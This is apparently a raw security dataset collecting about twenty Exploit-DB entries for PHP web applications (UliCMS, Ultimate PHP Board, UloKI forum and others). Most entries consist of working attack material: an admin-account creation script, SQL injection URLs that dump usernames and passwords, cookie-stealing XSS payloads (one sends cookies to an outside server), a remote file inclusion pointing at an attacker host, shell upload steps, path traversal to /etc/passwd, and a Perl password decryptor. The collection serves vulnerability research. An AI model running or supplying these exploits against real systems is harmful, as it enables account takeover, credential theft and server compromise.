deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51433
Description: Ulicms-2023.1-sniffing-vicuna - Privilege escalation
Type: webapps
Platform: php
Date: 2023-05-05
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: Ulicms 2023.1 sniffing-vicuna - Privilege escalation
#Application: Ulicms
#Version: 2023.1-sniffing-vicuna
#Bugs:  Privilege escalation
#Technology: PHP
#Vendor URL: https://en.ulicms.de/
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
#Date of found: 04-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

##This code is written in python and helps to create an admin account on ulicms-2023.1-sniffing-vicuna

import requests

new_name=input("name: ")
new_email=input("email: ")
new_pass=input("password: ")

url = "http://localhost/dist/admin/index.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}

data = f"sClass=UserController&sMethod=create&add_admin=add_admin&username={new_name}&firstname={new_name}&lastname={new_name}&email={new_email}&password={new_pass}&password_repeat={new_pass}&group_id=1&admin=1&default_language="

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Request is success and created new admin account")
    
else:
    print("Request is failure.!!")
Exploit-DB #11048
Description: Ulisse's Scripts 2.6.1 - 'ladder.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-07
Author: Sora

Exploit:
# Tested on: Windows Vista Home Premium and Linux 2.6.28.1 (Backtrack 3)
------------------------------
> Ulisse's Scripts 2.6.1 ladder.php SQL Injection Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: "In your dreams, script kiddies."

# VULNERABILITY DESCRIPTION:
Type: SQL Injection
Level: 4/5 (CRITICAL)

Sora has advised that Ulisse's ladder.php file from Ulisse's Scripts 2.6.1
suffers a remote SQL injection vulnerability in the parameter 'gid'. The database inputs
are not properly sanitized.

# VULNERABILITY SOLUTION:
Sanitize the unsanitized database inputs in the file ladder.php.

# Proof of Concept: http://server/ulisse/ladder.php?gid=1'
Exploit-DB #11385
Description: ULoki Community Forum 2.1 - 'usercp.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-10
Author: Sioma Labs

Exploit:
# Exploit Title: ULoki Community Forum v2.1 (usercp.php) Cross Site Scripting
# Date: 10/02/2010
# Author: Sioma Labs
# Software Link: http://www.uloki.com/download/uloki_forum_06_may_2009.zip
# Version: v2.1
# Tested on: Windows SP 2 / WAMP
# CVE : 
# Code : 

  ____  _                         _          _         
 / ___|(_) ___  _ __ ___   __ _  | |    __ _| |__  ___ 
 \___ \| |/ _ \| '_ ` _ \ / _` | | |   / _` | '_ \/ __|
  ___) | | (_) | | | | | | (_| | | |___ (_| | |_) \__ \
 |____/|_|\___/|_| |_| |_|\__,_| |_____\__,_|_.__/|___/
                                                       
 ======================================================


xSS Vuln Page

Vuln C0de (usercp.php) 
----------------------

$checke=$db->count_rows("SELECT email FROM b_users WHERE email='$email' AND userid='$user->userid'");
if($checke > 0)
{
print "</td></tr></table>";
$db->update_data("UPDATE b_users SET mb='$mb', location='$loc' WHERE userid='$user->userid'");
err_msg("User CP","Your information has been updated.");		
}

-----------------------

http://server/forum/usercp.php


POC
----

place this code on "location" 

"><script>alert(String.fromCharCode(88, 83, 83));</script>


--------------------------------------------------------


Note 
----

If an Attacker prefers the attacking process could be done by stealing cookies of other users  

-------------------------
Site: http://siomalabs.com
Author : Sioma Agent 154
Exploit-DB #34888
Description: UloKI PHP Forum 2.1 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-19
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44273/info

UloKI PHP Forum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
http://www.example.com/forum/search.php?term=&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;
UloKI PHP Forum 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/search.php?term=&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;
Exploit-DB #22922
Description: Ultimate Bulletin Board 6.0/6.2 - UBBER Cookie HTML Injection
Type: webapps
Platform: php
Date: 2003-07-16
Author: anti_acid

Exploit:
source: https://www.securityfocus.com/bid/8212/info

Ultimate Bulletin Board has been reported prone to a HTML injection vulnerability.

The issue likely presents itself due to a lack of sanitization performed on cookie data. It has been reported that a remote authenticated attacker may modify fields of an Ultimate Bulletin Board cookie, and embed HTML code into several of the fields contain therein. The attacker may then use the cookie to inject HTML code into the affected forum. It has been reported that the malicious HTML code will be rendered when the forum overview page or latest posts overview page are viewed.

username<script>document.write('<img src%3D"http://someserver/savereq.php?'%2Bdocument.cookie%2B'" width%3D0height%3D0>')</script>
Exploit-DB #17191
Description: Ultimate eShop - Error-Based SQL Injection
Type: webapps
Platform: php
Date: 2011-04-20
Author: Romka

Exploit:
# Exploit Title: Ultimate eShop Error Based SQL Injection Vulnerability
# Google Dork: inurl:index.cgi?aktion=shopview
# Date: 19/04/2011
# Author: Romka
# Software Link: http://www.ultimate-eshop.de/
# Tested on: Windows XP SP3

# Exploit:

http://localhost/index.cgi?aktion=shopview&go=artikel&topid=1&subid=1'ERROR BASED INJECTION

# Greetings:

CliC, pyro, r0bnet, Haukez, Dexter and Cyberpunkz
Exploit-DB #9469
Description: Ultimate Fade-in Slideshow 1.51 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-08-18
Author: NeX HaCkEr

Exploit:
==================

NaMe: Ultimate Fade-in slideshow 1.51  <= Shell Upload Vulnerability
Author : NeX HaCkeR
Contact: c2l@hotmail.com

==================

Script site : http://www.dynamicdrive.com

==================

ExplOiT:

1: register in site

http://www.xxx.com/path/user_register.php

2: go to your Add New Events

http://www.xxx.com/path/events_uadd.php

Now upload shell.php

==================

Live DemO:

http://www.deals2cops.com



+========================================================+
|                                                                                   
| Greetz.: ~ CrazyMaN ~ Dr.KAsBeR ~ DaMi ~                                          
|               And All Friends!!!!                                         |
+========================================================+

# milw0rm.com [2009-08-18]
Exploit-DB #3336
Description: Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-20
Author: kezzap66345

Exploit:
****Ultimate Fun Book 1.02****
**found by:kezzap66345
**contant= [:(]
**download script=http://www.ultimate-fun-board.de
**dork:Ultimate-Fun-Book 1.02

file:

function.php

code:

<?php
require($gbpfad."/config.php");

exploit:

http://target/path/function.php?gbpfad=http://evil[script]

*********thanx= x0r0n,str0ke,shakia***********
*****************************************

# milw0rm.com [2007-02-20]
Exploit-DB #42628
Description: Ultimate HR System < 1.2 - Directory Traversal / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-09-05
Author: 8bitsec

Exploit:
# Exploit Title: HRM - Workable Zone : Ultimate HR System <= 1.2 - Unauthenticated Directory Traversal / Stored XSS
# Date: 2017-09-05
# Exploit Author: 8bitsec
# Vendor Homepage: http://workablezone.com
# Software Link: https://codecanyon.net/item/hrm-workable-zone-ultimate-hr-system/20182372
# Version: 1.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-05

Product & Service Introduction:
===============================
Workable Zone is probably one of most customizable Human resourse(HR) management software for companies of all sizes.

Technical Details & Description:
================================

Multiple Stored XSS vulnerabilities found.

Directory Traversal vulnerability can disclose sensitive files.

Proof of Concept (PoC):
=======================

Stored XSS:

Logged as Employee:

Write your payload on:
Profile > Last Name

Other vulnerable fields include: First Name, Contact Number

Unauthenticated Directory Traversal:

http://localhost.com/download?type=document&filename=../../../../../etc/passwd

Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #36623
Description: Ultimate Locator - 'radius' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-24
Author: Robert Cooper

Exploit:
source: https://www.securityfocus.com/bid/51653/info

Ultimate Locator is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/locator/results_list.php?order=id&pageno=2&showsurrounding=1&zip=94102&zipsearch=Go&radius=-50 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,password) FROM login--
Exploit-DB #8795
Description: Ultimate Media Script 2.0 - Remote Change Content
Type: webapps
Platform: php
Date: 2009-05-26
Author: ThE g0bL!N

Exploit:
<tittle> Ultimate Media Script 2.0 Remote Change Password/Add Admin/Delete Admin Exploit</tittle>
 <FORM action="http://umscript.com/demo/admin/index.php?mod=admins" method=post>
       <TD class=column1><INPUT class=ums_input name=username></TD>
       <TD class=column1><INPUT class=ums_input name=pass></TD>
       <TD class=column1 align=middle><INPUT type=image border=0 src="img/save.gif"></TD>
       <INPUT type=hidden value=add name=button>
      </FORM>
    </TR>
 
        <TR>
          <TD class=cat><b>Admin name:</b></TD>
          <TD class=cat><b>Password:</b></TD>
          <TD class=cat><b>Delete:</b></TD></TR>
 
        <FORM action="http://umscript.com/demo/admin/index.php?mod=admins" method=post>
 
        <TR>
          <TD class=column2 width="33%"><INPUT class=ums_input value="admin" name=username_edit[1]></TD>
          <TD class=column2 width="33%"><INPUT class=ums_input type=password value="admin" name=pass_edit[1]></TD>
          <TD class=column2><A href="http://umscript.com/demo/admin/index.php?mod=admins&delete=1" onclick="return (quest())"><IMG border=0 alt=Delete src="img/delete.gif"></A></TD>
        </TR>
 
        <INPUT type=hidden value=modify name=do>
        <TR>
           </SPAN>
           <INPUT type=image border=0 src="img/save_all.gif">

# milw0rm.com [2009-05-26]
Exploit-DB #22075
Description: Ultimate PHP Board 1.0 final Beta - 'viewtopic.php' Directory Contents Browsing
Type: webapps
Platform: php
Date: 2002-11-08
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6334/info

Ultimate PHP Board (UPB) is a freely available, open source PHP Bulletin Board. It is available for the Unix and Linux operating systems.

Under some circumstances, it may be possible to disclose the contents of directories. By passing a malicious request to the viewtopic.php script, UPB may return a listing of the directory. This could be futher refined to disclose the contents of selected files.

Input:
http://example.com/phorum/viewtopic.php?id=some_shit&t_id=2

Output:
Warning: Unable to access ./data_dir/some_shit.dat in
/home/samcom/public_html/public/messageboard2/textdb.inc.php on
line 240

..

Warning: Supplied argument is not a valid File-Handle resource
in /home/samcom/public_html/public/messageboard2/textdb.inc.php
on line 241
Exploit-DB #21423
Description: Ultimate PHP Board 1.0/1.1 - Image Tag Script Injection
Type: webapps
Platform: php
Date: 2002-04-25
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4603/info

Ultimate PHP Board (UPB) is web forum software. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Ultimate PHP Board does not filter script code from image tags. This may allow an attacker to include script code in forum messages. Injected script code will be executed in the browser of an arbitrary web user who views the malicious forum message, in the context of the website running UPB.

It may be possible to inject script code into other UPB-Code formatting tags, though this has not been confirmed. 

[ img]javascript:window.open(' index.php?upb=pm&mode=send&send=yes&target_id=SONPROPREID&betreff=cookie&pm=' +document.cookie+ ' &smilies=1&use_upbcode=1&pmbox_id=IDDELAVICTIME&check=yes ')[/img ]
Exploit-DB #25654
Description: Ultimate PHP Board 1.8/1.9 - 'viewforum.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-13
Author: Morinex Eneco

Exploit:
source: https://www.securityfocus.com/bid/13621/info

Ultimate PHP Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/viewforum.php?id=t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63
%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3Cnote%20unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61
%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')%20==%20'%22%3E<script
>alert(document.cookie)</script>%3C
Exploit-DB #25655
Description: Ultimate PHP Board 1.8/1.9 - 'viewforum.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-13
Author: Morinex Eneco

Exploit:
source: https://www.securityfocus.com/bid/13622/info

Ultimate PHP Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum/viewforum.php?id=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%7
5%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C
Exploit-DB #25825
Description: Ultimate PHP Board 1.8/1.9 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-16
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/13971/info

Ultimate PHP Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/upb/login.php?ref=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/viewtopic.php?id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/viewtopic.php?id=1&t_id=1&page=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/profile.php?action=get&id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/newpost.php?id=1&t=1&t_id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/newpost.php?id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/email.php?id=%27%3E%3Cscript%3Ealert(document.cookies)%3C/script%3E
http://www.example.com/upb/icq.php?action=get&id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/aol.php?action=get&id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/getpass.php?ref=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/upb/search.php?step=3&sText=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25838
Description: Ultimate PHP Board 1.8/1.9 - Weak Password Encryption
Type: webapps
Platform: php
Date: 2005-06-16
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/13975/info

Ultimate PHP Board is prone to a weak password encryption vulnerability. This issue is due to a failure of the application to protect passwords with a sufficiently effective encryption scheme.

This issue may allow a malicious user to gain access to user and administrator passwords for the affected application.

#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Related advisory:
http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero

use Getopt::Std;
use LWP::Simple;
getopt('hfu');

print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t=          by Alberto Trivero          =\n";
print "\t========================================\n\n";

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
   print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u
[username]]\n\n";
   print "Examples:\nperl $0 -h http://www.example.com/upb/ -f
results.txt\n";
   print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
   exit(0);
}

$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrh
mbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzv
qnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl";
$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);

if($opt_f) {
   open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
   print RESULTS "Results for $opt_h\n","="x40,"\n\n";
   for($in=0;$in<@page;$in++) {
      $page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
      $page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password:
$1\n";
      &decrypt;
      print RESULTS "Decrypted [CREDENTIAL_REDACTED]\n\n";
      $crypt="";
   }
   close(RESULTS);
   print "[+] Results printed correct in: $opt_f\n";
}

if($opt_u) {
   for($in=0;$in<@page;$in++) {
      if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
        print "[+] Username: $opt_u\n";
        print "[+] Crypted Password: $1\n";
         &decrypt;
         print "[+] Decrypted [CREDENTIAL_REDACTED]\n";
         exit(0);
      }
   }
   print "[-] Username '$opt_u' doesn't exist\n";
}

sub decrypt {
   for($i=0;$i<length($1);$i++) {
      $i_key=ord(substr($key, $i, 1));
      $i_text=ord(substr($1, $i, 1));
      $n_key=ord(substr($key, $i+1, 1));
      $i_crypt=$i_text + $n_key;
      $i_crypt-=$i_key;
      $crypt.=chr($i_crypt);
   }
}
Exploit-DB #22642
Description: Ultimate PHP Board 1.9 - 'admin_iplog.php' Arbitrary PHP Execution
Type: webapps
Platform: php
Date: 2003-05-24
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7678/info

A vulnerability has been reported in Ultimate PHP Board. The problem is said to occur due to insufficient sanitization of user-supplied input before including log data into a PHP file. As a result, it may be possible for a remote attacker to execute arbitrary PHP commands within the context of the web server. The execution of these commands would only occur when an administrator chooses to view the log of forum activity via the 'admin_iplog.php' script. 

$ telnet www.target.org 80
Connected to www.target.org at 80
GET /board/index.php HTTP/1.0
User-Agent: <? phpinfo(); ?>
Exploit-DB #1051
Description: Ultimate PHP Board 1.9.6 GOLD - users.dat Password Decryptor
Type: webapps
Platform: php
Date: 2005-06-16
Author: Alberto Trivero

Exploit:
#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Related advisory: http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero

# Password file is located at: http://www.example.com/upb/db/users.dat   /str0ke


use Getopt::Std;
use LWP::Simple;
getopt('hfu');

print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t=          by Alberto Trivero          =\n";
print "\t========================================\n\n";

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
   print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u [username]]\n\n";
   print "Examples:\nperl $0 -h http://www.example.com/upb/ -f results.txt\n";
   print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
   exit(0);
}

$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl";
$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);

if($opt_f) {
   open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
   print RESULTS "Results for $opt_h\n","="x40,"\n\n";
   for($in=0;$in<@page;$in++) {
      $page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
      $page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password: $1\n";
      &decrypt;
      print RESULTS "Decrypted [CREDENTIAL_REDACTED]\n\n";
      $crypt="";
   }
   close(RESULTS);
   print "[+] Results printed correct in: $opt_f\n";
}

if($opt_u) {
   for($in=0;$in<@page;$in++) {
      if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
        print "[+] Username: $opt_u\n";
        print "[+] Crypted Password: $1\n";
         &decrypt;
         print "[+] Decrypted [CREDENTIAL_REDACTED]\n";
         exit(0);
      }
   }
   print "[-] Username '$opt_u' doesn't exist\n";
}

sub decrypt {
   for($i=0;$i<length($1);$i++) {
      $i_key=ord(substr($key, $i, 1));
      $i_text=ord(substr($1, $i, 1));
      $n_key=ord(substr($key, $i+1, 1));
      $i_crypt=$i_text + $n_key;
      $i_crypt-=$i_key;
      $crypt.=chr($i_crypt);
   }
}

# milw0rm.com [2005-06-16]
Exploit-DB #17307
Description: Ultimate PHP Board 2.2.7 - Broken Authentication and Session Management
Type: webapps
Platform: php
Date: 2011-05-20
Author: i2sec

Exploit:
# Exploit Title : Ultimate PHP Board 2.2.7 "Broken Authentication and Session Management"
# Date : 2011.05.17
# Author : i2sec - Gi bum Hong
# Software Link : http://sourceforge.net/projects/textmb/files/UPB/UPB%202.2.7/
# Version : 2.2.7
# Tested on : apache 2.2.14 | mysql 5.1.39 | php 5.2.12

This Vulnerabibity Web base on "Broken Authentication and Session Management".
This attack can delete another user's(ex.admin) upload file.

step1.
Analyze request message of file delete using Paros Tool.
ex) http-request-message body : ~&postid=2&~~&threadid=1&divname=1-1-2-attach&fileid=3&filename=file.txt~

step2.
Change request message to attacking file's post ID and file ID/name.
ex) http-request-message body : ~&postid=1&~~&threadid=1&divname=1-1-1-attach&fileid=2&filename=account.txt~

Full Advisory: http://www.exploit-db.com/docs/17307.pdf